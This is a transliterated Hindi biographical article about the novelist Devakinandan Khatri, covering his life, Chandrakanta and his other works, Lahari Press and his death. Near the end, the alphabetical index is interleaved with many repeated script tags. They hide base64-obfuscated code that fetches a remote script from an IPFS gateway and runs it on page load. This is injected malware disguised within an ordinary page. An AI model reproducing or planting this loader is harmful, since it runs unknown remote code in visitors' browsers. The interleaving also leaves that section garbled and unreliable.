देवकीनन्दन खत्री

baboo devakinandan khatri (29 joon 1861 - 1 agast 1913) hiandi ke pratham tilismi lekhak the. unhoanne chandrakaanta, chandrakaanta santati, kajar ki kothari, nareandr-mohini, kusum kumari, vireandr vir, gupt goanda, katora bhar, bhootanath jaisi rachanaean ki. 'bhootanath' ko unake putr 'durga prasad khatri' ne poora kiya. hiandi bhasha ke prachar prasar mean unake upanyas chandrakaanta ka bahut b da yogadan raha hai. is upanyas ne sabaka man moh liya. is qitab ka rasasvadan karane ke lie kee gair-hiandibhashiyoan ne hiandi bhasha sikhi. baboo devakinandan khatri ne 'tilism', 'aiyyar' aur 'aiyyari' jaise shabdoan ko hiandibhashiyoan ke bich lokapriy banaya.^[1]

'jitane hindi pathak unhoanne (baboo devakinandan khatri ne) utpann kiye utane kisi aur granthakar ne nahian. ^[2]

jivani

devakinandan khatri ji ka janm 29 joon 1861 (ashadh krishna paksh saptami sanvath 1918) shanivar ko poosa, mujaphfarapur, bihar mean hua tha. unake pita ka nam 'lala eeshvaradas' tha. unake poorvaj panjab ke nivasi the aur mugaloan ke rajyakal mean ooanche padoan par kary karate the. maharaj ranajit sianh ke putr sherasianh ke shasanakal mean lala eeshvaradas kashi akar bas gaye. devakinandan khatri ji ki prarambhik shiksha urdoo - farasi mean huee thi. bad mean unhoanne hiandi, sanskrit evan aangrezi ka bhi adhyayan kiya.

mujaphpharapur devakinandan khatri ke nana nani ka nivas sthan tha. apake pita 'lala eeshvaradas' apani yuvavastha mean lahaur se kashi ae the aur yahian rahane lage the. devakinandan khatri ka vivah mujaphpharapur mean hua tha, aur gaya jile ke tikari rajy mean achchha vyavasay tha. kuchh dinoan bad unhoanne maharaj banaras se chakiya aur naugadh ke jangaloan ka theka le liya tha. is karan se devakinandan ki yuvavastha adhikatar ukt jangaloan mean hi biti thi. inhian jaganloan aur unake khandaharoan se devakinandan khatri ko prerana mili, jisane 'chandrakaanta', 'chandrakaanta santati', 'bhootanath' aise aiyyari aur tilasmi upanyasoan ki rachana karaee, jisane apako hiandi sahity mean amar bana diya. apake sabhi upanyasoan ka sara rachana tantr bilakul maulik aur svatantr hai. is tilasmi tatv mean apane apane chatury aur buddhi-kaushal se aiyyari vala vah tatv bhi mila diya tha jo bahut kuchh bharatiy hi hai. yah param prasiddh bat hai ki 19vian shatabdi ke aant mean lakhoan pathakoan ne bahut hi chav aur ruchi se apake upanyas padhe aur hajaroan adamiyoan ne keval apake upanyas padhane ke lie hiandi sikhi. yahi karan hai ki hiandi ke suprasiddh upanyas lekhak shri vriandavanalal varma ne apako hiandi ka 'shirazi' kaha hai.

aranbhik shiksha samapt kar vah gaya ke 'tekari istet' pahuanch gaye aur vahaan ke raja ke yahaan kary karane lage. bad mean unhoanne varanasi mean ek priantians pres ki sthapana ki aur 1883 mean hiandi masik patr 'sudarshan' ko prarambh kiya.

devakinandan khatri ji ke kashi naresh 'eeshvariprasad narayan sianh' se bahut achchhe sambandh the. is sambandh ke adhar par unhoanne chakiya aur naugadh ke jangaloan ke theke le liye. devakinandan khatri bachapan se hi ghoomane ke bahut shaukin the. is thekedari ke kary se unhean paryapt ay hone ke sath sath ghoomane phirane ka shauk bhi poora hota raha. vah lagatar kee-kee dinoan tak chakiya evan naugadh ke bih d jangaloan, paha diyoan aur prachin aitihasik imaratoan ke khandaharoan ki khak chhanate rahate the. bad mean jab unase jangaloan ke theke vapis le lie gaye tab inhian jangaloan, paha diyoan aur prachin aitihasik imaratoan ke khandaharoan ki prishthabhoomi mean apani tilism tatha aiyyari ke karanamoan ki kalpanaoan ko mishrit kar unhoanne 'chandrakanta' upanyas ki rachana ki.

chandrakaanta ki rachana

baboo devakinandan khatri ne jab upanyas likhana prarambh kiya, us samay mean adhikatar hindoo log bhi urdoo bhasha hi janate the. is prakar ki paristhitiyoan mean khatri ji ne mukhy lakshy banaya aisi rachana karana jisase devanagari hindi ka prachar v prasar ho . yah itana saral kary nahian tha. kiantu unhoanne aisa kar dikhaya . chandrakanta upanyas itana lokapriy hua ki us samay jo log hindi likhana-padhana nahian janate the ya keval urdoo bhasha hi janate the, unhoanne keval is upanyas ko padhane ke lie hindi sikhi . isi lokapriyata ko dhyan mean rakh kar unhoanne isi katha ko age badhate hue doosara upanyas 'chandrakanta santati' likha jo 'chandrakanta' ki apeksha adhik rochak tha . in upanyasoan ko padhate samay pathak khana-pina bhi bhool jate the . in upanyasoan ki bhasha itani saral hai ki paanchavian kaksha ke chhatr bhi in pustakoan ko padh lete haian . pahale do upanyasoan ke 2000 prishth se adhik hone par bhi, ek bhi kshan aisa nahian ata jahaan pathak oob jaean .

pramukh rachanaean

chandrakanta (1888 - 1892): chandrakanta upanyas ko padhane ke liye lakhoan logoan ne hiandi sikhi. yah upanyas char bhagoan mean vibhakt hai. pahala prasiddh upanyas chandrakaanta sanh‌ 1888 ee. mean kashi mean prakashit hua tha. usake charo bhagoan ke kuchh hi dinoan mean kee sanskaran ho ge the.
chandrakanta santati (1894 - 1904): chandrakanta ki abhootapoorv saphalata se prerit ho kar devakinandan khatri ne chaubis bhagoan vale vishal upanyas chandrakanta santati ki rachana ki. unaka yah upanyas bhi atyadhik lokapriy hua.
bhootanath (1907 - 1913) (apoorn): chandrakanta santati ke ek patr ko nayak bana kar devakinandan khatri ji ne is upanyas ki rachana ki. kintu asamayik mrityu ke karan vah is upanyas ke keval chhah bhagoan hi likh paye. age ke shesh pandrah bhag unake putr 'durgaprasad khatri' ne likh kar poore kiye. 'bhootanath' bhi kathavastu ki antim k di nahian hai. isake bad baboo durgaprasad khatri likhit 'rohatas math' (do khandoan mean) ata hai .

any rachanaean

kusum kumari
virendr vir urph katora bhar khoon
kajal ki kothari
anoothi begam
narendr mohini
gupt godana

lahari pres

chandrakaanta se utsahit hokar apane chandrakaanta santati, likhana aranbh kar diya jisake kul 24 bhag haian. das varsho mean hi bahut adhik kirti aur yash sanpadit kar chukane par aur apani rachanaoan ka itana adhik prachar dekhane par sanh‌ 1898 ee mean apane apane niji pres ki sthapana ki. ap sada se svabhavat: bahut hi 'lahari' arthath manamauji aur vinodapriy the. isilie devakinandan khatri ne apane pres ka nam bhi 'lahari pres' rakha tha. devakinandan khatri ke upanyasoan mean kee aiyyaroan aur patroan ke jo nam ae haian ve sab apane apani mitramandali mean se hi chune the aur is prakar unhoanne apane anek ghanisht mitroan aur sangi sathiyoan ko apani rachanaoan ke dvara amar bana diya tha.

hindi sahity mean sthan

devakinandan khatri ki sabhi kritiyoan mean manoranjan ki jo itani adhik kautoohalavardhak aur rochak samagri milati hai usaka sara shrey devakinandan khatri ke anokhe aur apratim buddhibal ka hi hai. hiandi ke aupanyasik kshetr ka apane aranbh hi nahian kiya tha, usamean unhoanne bahut hi uchch, ujval aur bejo d sthan bhi prapt kar liya tha. bharateandu ke uparaant ap pratham aur sarvadhik prakashaman tare ke roop mean hiandi sahity mean ae the.

nidhan

khed hai ki apane adhik ayu nahian paee aur pray: 52 varsh ki avastha mean hi kashi mean 1 agast, 1913 ko ap paralokavasi ho ge.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ devakinandan khatri (hindi). . abhigaman tithi: 24mee, 2011.
↑ ( achary ramachandr shukl, hindi sahity ka itihas, kashi, sanvath 2012 vi॰, pri॰ 499) .

bahari k diyaan

devakinandan ki pustakean

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vakinandan khatri (hindi). . abhigaman tithi: 24mee, 2011.

[2] ( achary ramachandr shukl, hindi sahity ka itihas, kashi, sanvath 2012 vi॰, pri॰ 499) .

[1]

[2]